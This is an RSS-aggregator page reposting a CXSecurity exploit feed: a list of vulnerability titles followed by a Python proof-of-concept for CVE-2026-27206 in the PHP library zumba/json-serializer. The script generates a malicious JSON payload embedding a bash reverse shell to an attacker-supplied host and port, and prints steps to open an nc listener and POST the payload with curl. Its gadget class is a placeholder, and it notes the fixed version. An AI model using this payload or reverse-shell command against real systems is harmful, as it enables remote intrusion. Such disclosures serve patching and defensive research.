惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

D
Docker
Apple Machine Learning Research
Apple Machine Learning Research
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
博客园 - 三生石上(FineUI控件)
月光博客
月光博客
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More
WordPress大学
WordPress大学
Hugging Face - Blog
Hugging Face - Blog
钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知
M
MIT News - Artificial intelligence
腾讯CDC
B
Blog RSS Feed
H
Help Net Security
J
Java Code Geeks
有赞技术团队
有赞技术团队
Y
Y Combinator Blog
博客园_首页
Last Week in AI
Last Week in AI
博客园 - 【当耐特】
博客园 - Franky
B
Blog
MongoDB | Blog
MongoDB | Blog
博客园 - 叶小钗
Martin Fowler
Martin Fowler

CXSECURITY Database RSS Feed - CXSecurity.com

Langflow 1.3.0 Remote Code Execution Krayin CRM v2.2.x Authenticated Remote Code Execution PraisonAI CodeAgent <= 1.6.77 Remote Code Execution (RCE) via Unsandboxed LLM Code Execution XenForo XSS CVE Scanner — Passive Detection Tool for CVE-2026-35055, CVE-2026-35054, CVE-2026-35057 KNX visualisering - Broken Access Control 7-Zip <= 26.02 - Mark-of-the-Web (MotW) Bypass via RAR5 Alternate Data Stream Name Collision NodeBB <= 4.13.2 ActivityPub attributedTo Local UID Spoof - CXSecurity.com KNX visualisering - Broken Access Control vm2 <= 3.11.3 - NodeVM Builtin Denylist Bypass SiYuan <= 3.5.9 Remote Code Execution via Malicious Bazaar Package Windows Defender (MsMpEng.exe) Race Condition -> LPE / SYSTEM / Use-After-Free -> Crash D-Link DSL2600U rom-0 Admin Password Disclosure KNX visualisering - Broken Access Control PHP Link Directory (phpLD) 2.1.3 - SQL Injection, IDOR, CSRF OpenEMR 7.0.2 Arbitrary File Read ZTE ZXHN H188A V6 Authentication Bypass phpLD 2.1.3 (EOL) has authenticated SQLi in admin/dir_validate.php (CATEGORY_ID) and admin ORDER BY (sort), unauthenticated IDOR in add_reciprocal.php, CSRF on admin link actions via GET, and exposed install/ after deployment. Verified locally on v2.1.3. Tenable Terrascan Server <= v1.18.3 SSRF and Local File Read Lenovo LegionSpace 1.7.11.2 DAService Unquoted Service Path ZTE H298A / H108N Unauthenticated Credential Exposure WordPress Contest Gallery 28.1.4 Unauthenticated Blind SQL Injection BrandIT Consultancy - Blind Sql Injection Association Management Script - Multiple Vulnerabilities (IDOR, SQLi, Stored XSS) Canvas Breach: Symbiotic Dual-Virus Model & Origin Parity Evidence Open ISES Tickets < 3.44.2 - Hardcoded MySQL Credentials ePati Antikor NGFW 2.0.1301 Authentication Bypass Windows Shell LNK Spoofing to NTLMv2 Hash Capture Apache HTTP Server 2.4.66 mod_http2 Double-Free Denial of Service Grav CMS 2.0.0-beta.2 Remote Code Execution
zumba/json-serializer zumba/json-serializer < 3.2.3 RCE
2026-03-15 · via CXSECURITY Database RSS Feed - CXSecurity.com

#!/usr/bin/env python3 # Exploit Title: zumba/json-serializer zumba/json-serializer < 3.2.3 RCE # CVE: CVE-2026-27206 # Date: 2026-02-24 # Exploit Author: Mohammed Idrees Banyamer # Author Country: Jordan # Instagram: @banyamer_security # Author GitHub: # Vendor Homepage: https://github.com/zumba/json-serializer # Software Link: https://github.com/zumba/json-serializer # Affected: zumba/json-serializer < 3.2.3 # Tested on: PHP 8.1 / 8.2 # Category: Remote Code Execution # Platform: PHP # Exploit Type: Remote # CVSS: 8.1 (HIGH) # CWE: CWE-502 (Deserialization of Untrusted Data) # Description: Unrestricted PHP object instantiation via @type in JsonSerializer::unserialize() allowing arbitrary class creation and potential code execution via magic methods / gadget chains # Fixed in: 3.2.3 # Usage: python3 exploit.py <target_url> --lhost <your_ip> --lport <your_port> # # Examples: # python3 exploit.py http://example.com/api/unserialize --lhost 192.168.1.100 --lport 4444 # # Notes: # • This script generates and shows a malicious payload. # • Actual exploitation requires: # 1. An endpoint that accepts JSON and passes it directly to JsonSerializer::unserialize() # 2. A usable POP gadget chain present in the target application or its dependencies # • Without a gadget chain this only demonstrates object injection (no RCE). # print(""" ____ _____ ___ _ _ ___ ___ ___ / ___| | ____| / _ \ | | | | / _ \ / _ \ / _ \ | | | _| | | | | | |_| | | | | | | | | | | | | |___ | |___ | |_| | | _ | | |_| | |_| | |_| | \____| |_____| \___/ |_| |_| \___/ \___/ \___/ CVE-2026-27206 – Proof of Concept ──────────────────────────────────── Author : Mohammed Idrees Banyamer Country : Jordan Instagram : @banyamer_security Date : 2026-02-24 """) import argparse import json import sys def generate_payload(lhost, lport): # Example reverse shell command (modify for your target OS / needs) revshell_cmd = ( f"bash -c \"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1\"" ) # This is a DEMONSTRATION payload. # In real attacks you need a valid gadget chain (Monolog, Symfony, Laravel, etc.) payload = { "@type": "RCEGadget", "cmd": revshell_cmd } return json.dumps(payload, separators=(',', ':')) def main(): parser = argparse.ArgumentParser(description="CVE-2026-27206 Proof of Concept - Payload Generator") parser.add_argument("target", help="Target URL that accepts JSON input (for display only)") parser.add_argument("--lhost", required=True, help="Your IP address for reverse shell") parser.add_argument("--lport", required=True, help="Port to listen on") args = parser.parse_args() print(f"[*] Target URL (info only): {args.target}") print(f"[*] Listener: {args.lhost}:{args.lport}") print() malicious_json = generate_payload(args.lhost, args.lport) print("[+] Generated malicious JSON payload:") print("──────────────────────────────────────────────────────────────────────────────") print(malicious_json) print("──────────────────────────────────────────────────────────────────────────────") print() print("[!] How to use this payload:") print(" 1. Start a listener: nc -lvnp", args.lport) print(" 2. POST the JSON above to an endpoint that uses JsonSerializer::unserialize()") print(" Example (curl):") print(f" curl -X POST {args.target} \\") print(" -H 'Content-Type: application/json' \\") print(" -d '" + malicious_json.replace("'", "'\\''") + "'") print() print("[!] Important:") print(" This payload only works if the application:") print(" • Uses vulnerable zumba/json-serializer (< 3.2.3)") print(" • Does NOT call setAllowedClasses()") print(" • Contains a POP chain that triggers code execution from the crafted object") print() print(" Without a gadget chain → only object injection (no RCE)") print(" Upgrade to >= 3.2.3 and use setAllowedClasses([]) or a whitelist") if __name__ == "__main__": if len(sys.argv) == 1: print("Error: Missing arguments. Use --help for usage.\n") sys.exit(1) main()